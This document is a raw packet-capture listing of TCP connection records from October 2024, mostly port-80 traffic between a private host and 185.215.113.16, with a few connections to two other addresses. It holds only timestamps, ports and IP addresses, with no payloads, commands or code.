Oct 24, 2024 18:09:14.454687119 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.454730988 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.454782009 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.454817057 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.454850912 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.454884052 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.454881907 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.454881907 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.454881907 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.454881907 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.454881907 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.454920053 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.454960108 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.454973936 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.454973936 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.454973936 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.454994917 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.455004930 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.455029011 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.455043077 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.455068111 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.455082893 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.455101967 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.455106974 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.455133915 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.455161095 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.455168009 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.455182076 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.455204964 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.455213070 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.455238104 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.455254078 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.455271959 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.455280066 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.455306053 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.455349922 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.455349922 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.455359936 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.455394030 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.455404043 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.455426931 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.455442905 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.455461025 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.455478907 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.455493927 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.455499887 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.455523014 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.455538988 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.455554962 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.455562115 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.455589056 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.455600023 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.455629110 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.455636024 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.455673933 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.480855942 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.480901003 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.480959892 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.481012106 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.481061935 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.481085062 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.481086016 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.481086016 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.481086016 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.481096983 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.481131077 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.481175900 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.481175900 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.481175900 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.481184006 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.481218100 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.481240988 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.481251955 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.481261015 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.481281996 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.481311083 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.481314898 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.481333017 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.481348991 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.481363058 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.481399059 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.481400013 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.481435061 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.481456995 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.481467962 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.481483936 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.481508970 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.481519938 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.481576920 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.481579065 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.481628895 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.481628895 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.481662989 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.481679916 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.481712103 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.481725931 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.481745005 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.481754065 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.481787920 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.481795073 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.481827974 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.481863976 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.481863976 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.481879950 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.481929064 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.481930971 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.481965065 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.481983900 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.481997013 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.482024908 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.482032061 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.482045889 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.482060909 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.482095003 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.482095957 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.482116938 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.482126951 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.482156992 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.482160091 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.482182980 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.482189894 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.482224941 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.482234955 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.482234955 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.482256889 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.482285976 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.482319117 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.482345104 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.482351065 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.482371092 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.482383966 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.482413054 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.482417107 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.482433081 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.482450962 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.482470989 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.482482910 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.482510090 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.482517004 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.482531071 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.482551098 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.482568026 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.482584000 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.482610941 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.482616901 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.482642889 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.482652903 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.482670069 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.482686043 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.482708931 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.482721090 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.482733011 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.482749939 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.482779026 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.482799053 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.523590088 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.523643017 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.523699999 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.523727894 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.523729086 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.523757935 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.523807049 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.523808002 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.523809910 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.523844004 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.523860931 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.523879051 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.523890018 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.523916006 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.523924112 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.523950100 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.523972034 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.523983955 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.523992062 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.524017096 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.524035931 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.524051905 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.524061918 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.524085045 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.524113894 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.524123907 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.524136066 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.524152994 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.524173975 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.524194956 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.526618004 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.526654005 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.526689053 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.526740074 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.526776075 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.526796103 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.526796103 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.526797056 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.526797056 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.526810884 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.526875973 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.526875973 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.526882887 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.526921988 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.526943922 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.526963949 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.527020931 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.527086020 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.527117968 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.527203083 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.527204037 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.527210951 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.527204037 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.527304888 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.527376890 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.527407885 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.527426958 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.527450085 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.527461052 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.527507067 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.527513981 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.527542114 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.527563095 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.527575016 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.527584076 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.527622938 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.527626991 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.527661085 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.527694941 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.527729988 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.527868986 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.527868986 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.527868986 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.527869940 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.527961969 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.528016090 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.528014898 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.528052092 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.528069019 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.528116941 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.528136969 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.528171062 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.528186083 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.528208017 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.528217077 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.528242111 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.528256893 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.528278112 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.528302908 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.528326035 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.528923988 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.528959036 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.528985977 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.528991938 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.529009104 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.529042006 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.529045105 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.529077053 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.529089928 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.529126883 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.529126883 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.529162884 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.529194117 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.529200077 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.529220104 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.529227972 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.529243946 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.529262066 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.529292107 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.529297113 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.529313087 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.529330015 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.529376984 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.529383898 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.529397964 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.529418945 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.529448986 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.529450893 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.529473066 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.529485941 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.529510021 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.529550076 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.529567957 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.529601097 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.529637098 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.529638052 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.529659986 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.529684067 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.529690027 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.529725075 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.529757977 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.529757977 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.529779911 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.529792070 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.529798985 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.529825926 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.529860973 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.529860973 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.529881954 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.529896021 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.529906034 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.529931068 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.529947042 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.529964924 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.529992104 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.529999971 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.530014038 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.530055046 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.573796988 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.573849916 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.573885918 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.573925972 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.574105024 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.574105978 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.574105978 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.574105978 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:16.544143915 CEST	49995	443	192.168.2.6	104.102.49.254
Oct 24, 2024 18:09:16.544229984 CEST	443	49995	104.102.49.254	192.168.2.6
Oct 24, 2024 18:09:16.544344902 CEST	49995	443	192.168.2.6	104.102.49.254
Oct 24, 2024 18:09:16.545351028 CEST	49995	443	192.168.2.6	104.102.49.254
Oct 24, 2024 18:09:16.545420885 CEST	443	49995	104.102.49.254	192.168.2.6
Oct 24, 2024 18:09:17.155057907 CEST	49993	80	192.168.2.6	185.215.113.43
Oct 24, 2024 18:09:17.155304909 CEST	49996	80	192.168.2.6	185.215.113.43
Oct 24, 2024 18:09:17.161159039 CEST	80	49996	185.215.113.43	192.168.2.6
Oct 24, 2024 18:09:17.161324024 CEST	49996	80	192.168.2.6	185.215.113.43
Oct 24, 2024 18:09:17.161412954 CEST	49996	80	192.168.2.6	185.215.113.43
Oct 24, 2024 18:09:17.168031931 CEST	80	49996	185.215.113.43	192.168.2.6
Oct 24, 2024 18:09:17.201292038 CEST	80	49993	185.215.113.43	192.168.2.6
Oct 24, 2024 18:09:17.233071089 CEST	80	49993	185.215.113.43	192.168.2.6
Oct 24, 2024 18:09:17.233208895 CEST	49993	80	192.168.2.6	185.215.113.43
Oct 24, 2024 18:09:17.474992037 CEST	443	49995	104.102.49.254	192.168.2.6
Oct 24, 2024 18:09:17.475119114 CEST	49995	443	192.168.2.6	104.102.49.254
Oct 24, 2024 18:09:17.505850077 CEST	49995	443	192.168.2.6	104.102.49.254
Oct 24, 2024 18:09:17.505899906 CEST	443	49995	104.102.49.254	192.168.2.6
Oct 24, 2024 18:09:17.506901026 CEST	443	49995	104.102.49.254	192.168.2.6
Oct 24, 2024 18:09:17.564395905 CEST	49995	443	192.168.2.6	104.102.49.254
Oct 24, 2024 18:09:17.620615959 CEST	49995	443	192.168.2.6	104.102.49.254
Oct 24, 2024 18:09:17.667340040 CEST	443	49995	104.102.49.254	192.168.2.6
